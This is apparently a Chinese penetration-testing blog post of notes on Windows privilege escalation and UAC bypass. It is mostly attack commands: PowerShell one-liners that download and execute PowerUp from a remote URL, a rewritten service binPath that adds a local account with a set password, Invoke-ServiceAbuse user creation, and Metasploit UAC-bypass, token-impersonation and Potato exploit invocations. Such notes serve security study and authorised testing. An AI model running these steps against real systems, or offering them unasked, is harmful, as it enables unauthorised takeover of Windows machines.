内网渗透学习笔记整理Trick

2024-08-12 132 0

Windows提权

学习windows提权,bypass UAC(内核提权会用exp打就行)
常见的Windows提权方法分为:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等

下面我们讲述一下这些常见的提权方式

#手工查找补丁情况
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn

#MSF后渗透扫描
post/windows/gather/enum_patches
post/multi/recon/local_exploit_suggester

#windows exploit suggester
https://github.com/AonCyberLabs/Windows-Exploit-Suggester

#powershell中的sherlock脚本
Import-Module C:\Sherlock.ps1 #下载ps1脚本,导入模块
Find-AllVulns

#Empire内置模块 Empire框架也提供了关于内核溢出漏洞提权的漏洞利用方法
usemodule privesc/powerup/allchecks
execute

提供一些缺失补丁系统版本的

https://github.com/SecWiki/windows-kernel-exploits
https://bugs.hacking8.com/tiquan/
https://github.com/Heptagrams/Heptagram/tree/master/Windows/Elevation
https://www.exploit-db.com/
https://i.hacking8.com/tiquan/

基础提权命令

查询系统信息
systeminfo 
如果要查看特定的信息,可以使用
systeminfo | findstr /B /C:"OS名称" /C:"OS版本"
主机名
Hostname
环境变量
Set
查看用户信息
Net user
查看服务pid号
Tasklist /svc|find "TermService"
netstat -ano|find "3389"
查看系统名
wmic os get caption
查看补丁信息
wmic qfe get Description,HotFixID,InstalledOn
如果要定位到特定的补丁可以使用如下命令
wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
查看当前安装程序
wmic product get name,version

错误配置提权

#powerup提供了一些本地提权的方法,可以通过很多实用的脚本来寻找目标机器的windows服务漏洞
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
可直接通过powershell远程加载
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"


#msf 对应的模块为exploit/windows/local/service_permissions  但前提是获得一个会话
run exploit/windows/local/service_permissions #自动化提权,回来的的权限就是system


#当工具无法使用时,也可以手工查找,使用Windows内建工具icacls查看服务启动路径中写权限
例如:icacls "C:\Program Files"
icacls "C:\Program Files\Common Files"

#查看指定目录的权限配置情况
accesschk.exe -dqv "D:\test" -accepteula
参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。

#检查服务 如果是.SERVICE_ALL_ACCESS的意思是我们对“Vulnerable Service”的属性拥有完全控制权
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
sc qc 服务名   #查看可以完全控制的服务的属性。

辅助提权站点

这里进行细分,我们了解一下什么是系统服务权限配置错误
原理:在Windows系统服务文件在操作系统启动时加载并执行,并调用可执行文件。这时当一个低权限用户存在可执行文件读写权限,就可以将该文件进行替换,从而随着系统服务启动获取系统权限。一般情况下,Windows是以System权限执行

accesschk工具

下载链接:https://download.sysinternals.com/files/SysinternalsSuite.zip
命令如下

accesschk.exe -uwcqv "XXX" * /accepteula > 1.txt //这里XXX为当前用户名

如果出现SERVICE_ALL_ACCESS表示当前用户拥有修改权限
内网渗透学习笔记整理Trick插图
进一步查看该服务的启动权限,这里以VMTools为例
执行命令sc qc VMTools
内网渗透学习笔记整理Trick插图1
然后利用 sc 命令修改执行文件路径

# 注意这里的"="后面要留有空格
sc config VMTools binPath= "net user test1 P@ssw0rd /add"

# 查看查询该服务的执行路径是否修改成功
sc qc VMTools

# 记得重启服务
sc stop VMTools
sc start VMTools

# 这里启动时可能存在报错,服务和Windows系统服务控制管理器通信会被认为错误,但命令会正常执行

自带命令icacls
命令如下

确定写入权限:icacls "C:\Program Files\program folder"
## 定义:
「M」表示修改、「F」表示完全控制
「CI」代表从属容器将继承访问控制项
「OI」代表从属文件将继承访问控制项

常用命令
icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files(x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"
icacls "C:\Program Files(x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"

PowerSploit

利用powershell命令远程下载调用

powershell.exe -exec bypass -nop -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"

powershell.exe -exec bypass -Command "& {Import-Module D:/PowerUp.ps1; Invoke-AllChecks}" > 1.txt

内网渗透学习笔记整理Trick插图2

  • ServiceName:可能存在漏洞的服务

  • Path:该服务的可执行程序的路径

  • StartName:服务运行账号

  • AbuseFunction:利用方式

执行命令,这里以VMTools为例
添加 test用户

powershell.exe -exec bypass -Command "& {Import-Module C:/PowerUp.ps1;Invoke-ServiceAbuse -Name 'VGAuthService' -Username test -Password 123456}"

Bypass UAC

#Msf
exploit/windows/local/ask       #弹出UAC确认窗口,点击后获得system权限

exploit/windows/local/bypassuac  #此模块将通过进程注入使用可信任发布者证书绕过Windows UAC,它将生成关闭UAC标志的第二个shell。

exploit/windows/local/bypassuac_injection #此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()


exploit/windows/local/bypassuac_fodhelper#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。

exploit/windows/local/bypassuac_eventvwr#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()

exploit/windows/local/bypassuac_comhijack#此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL,这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项,这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件,因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

#Powershell
Invoke-PsUACme

#Empire
usemodule privesc/bypassuac
usemodule privesc/bypassuac_wscript

令牌窃取-可用

访问令牌(Access Token):表示访问控制操作主体的系统对象 。
会话令牌(Session Token):是交互会话中唯一的身份标识符。
密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾。

#msf 拿到一个会话
use incognito           #进入incognito模块
list_tokens -u          #列出令牌
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。

这里窃取令牌,主要是窃取进程中的令牌
#使用令牌假冒用户
impresonate_Token "令牌名"

Windows-Exploit-Suggester

直接调用进行搜索缺失补丁提权
内网渗透学习笔记整理Trick插图3

土豆系列提权!!!

这里如果是哥斯拉上马,是可以用自带的土豆系列提权
附上:
https://github.com/breenmachine/RottenPotatoNG/(烂土豆)
直接来个复现咯,Windows烂土豆本地复现
https://github.com/CCob/SweetPotato(甜土豆)

说了这么多,那究竟什么是土豆系列呢?当然,你也可以理解为生活中的土豆哈哈哈。原理如下,烂土豆简介(MS16-075提权),是只针对本地用户,这里不支持域用户。当攻击者转发同意计算机上的其他服务身份验证时,利用 Miscrosoft服务器消息块SMB存在特权提权漏洞
影响版本:**Windows 7、Windows 8.1、Windows 10、Windows Server 2008、Windows Server 2012 **等,以上版本系统若未安装相应补丁,则大概率存在此漏洞。

提权原理:

  1. 欺骗 "NT AUTHORITY\SYSTEM" 账户通过NTLM认证到我们控制的TCP终端。

  2. 对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌(过程为通过一系列的Windows API调用)。

  3. 模仿这个令牌,只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

甜土豆

Sweetpotato.exe -l 8888 -a "whoami"

这里如果我们有CS,也可以调用武器库直接提权

提权的姿势五花八门,可参考学习以下链接,实战遇到的话


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

苹果试图保护你的隐私,OpenAI可能做不到
Shuffle:一款完全自动化的安全栈增强平台
如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞

发布评论